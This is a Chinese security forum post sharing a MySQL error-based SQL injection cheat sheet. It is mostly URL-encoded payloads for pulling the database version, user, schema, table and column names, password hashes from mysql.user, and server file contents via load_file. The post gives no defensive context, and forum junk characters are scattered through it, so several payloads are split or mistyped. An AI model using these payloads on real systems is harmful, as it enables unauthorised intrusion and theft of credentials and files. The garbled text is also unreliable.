找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2200|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 ! {; z! x# Z! G
6 L# v9 o: X" ]2 _* f" n& W( s3 b
% E5 h  g8 V/ d) I2 N7 I9 p$ p" T
Mysql暴错注入参考(pdf),每天一贴。。。9 B9 n" h; V: [1 r# p( }

( x9 w' ~( k! K$ ^. q* YMySql Error Based Injection Reference3 C) t% X: g( m$ q; j! o0 B( S
[Mysql暴错注入参考]
2 }7 o, }5 r4 I( z: A; t; GAuthornig0s1992! y1 h% o( `& J3 @( P; M' S
Blog:http://pnig0s1992.blog.51cto.com/
* T( r. I6 r* N, z/ u2 iTeAm:http://www.FreeBuf.com/! g, u" S% f/ T/ t% R4 U
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功' J+ U; _# q) {# C# N5 e2 N
小部分版本使用name_const()时会报错.可以用给出的Method.2测试' q2 s' {5 g, G5 u9 {0 Z, |
查询版本:4 i& G3 C7 @& J' c# n$ Z% |4 `6 Y" u
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
4 G. g' I) e  d! @join+(select+name_const(@@version,0))b)c)
& j+ ~- w& J) \/ W8 O6 }6 ZMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro# |: J* C" L' H* o3 f# P1 T
up by a)b)
( G6 ~; J; Y1 h# L! `( s" J0 g查询当前用户:2 \9 q1 V$ y9 t: i
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)- V/ y! H; o" D
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r- J' N3 M" {3 s- H, j, I
and(0)*2))x+from+information_schema.tables+group+by+x)a)4 {  c+ o8 o8 S! C3 M. @4 X
查询当前数据库:( ^* O, c8 ^: K# ~; ?& S
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)( v9 h% P" N, _- q: ^2 m7 {
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo$ y% p& j+ t& ~+ D  g
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)$ g/ ~: X1 H! G
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+! A6 H: Z9 i; O7 H# v! V$ P8 r5 `
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n5 H+ F2 U& j) @( `  L$ Z6 L: t8 Q8 ]
顺序替换
% }9 ?( I7 Q. b* b& R爆指定库数目:8 T: B1 ]" }# y2 x$ d* y
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t' v" @( B, f4 J  B
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group# ?# U, ]1 a2 E+ W; `! q+ ]3 q
+by+x)a)+and+1=1 0x6D7973716C=mysql/ i* @/ U' q# x4 C4 v
依次爆表:
$ [3 S' [+ {, r( S! `8 Zand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
  O6 k' _: F' O6 D( s0 r$ s+ Table_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta  `) T# e' D, q# G
bles+group+by+x)a)+and+1=1
( A( }; O( @* l* Z0x6D7973716C=Mysql 将n顺序替换
7 y# `, ^5 n8 y% d# f爆表内字段数目:% D2 Y5 R) z) |& l
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE6 \/ N# x: t$ @$ z
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran9 [% T6 h' x3 i' K0 p
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
8 T7 l- }0 Q9 h依次爆字段:) c& i% y2 G  r/ y  N2 N2 o
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
% E  w- T4 n+ l4 F+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1" H& H$ t3 K. f5 Z: z9 t" y
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
) a- [7 c7 n4 c0 M3 s: j依次暴内容:2 z$ Q# ^3 r! W2 V4 |, d! |
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
! X2 Q( @: L+ e4 f1 gma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1$ ^3 S- I- c/ n6 [
将n顺序替换
6 z, e- X% x- b. B. z爆文件内容:
# R' B4 w+ j% E" J, t0 A8 gand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a+ ~8 t0 e+ f1 b2 P, c! o
from+information_schema.tables+group+by+a)b) 5 K) ?, g  n, C, ?8 W
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节4 Z, a6 ^! H7 c1 R# C/ O; i, I) j6 s
Thx for reading.& F- v$ e; k7 p, ]$ \! S  P* \2 N& K

- @. K# x$ `$ S# k0 i不要下载也可以,
- I0 B! H1 a( L9 p) e9 H! n: \

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表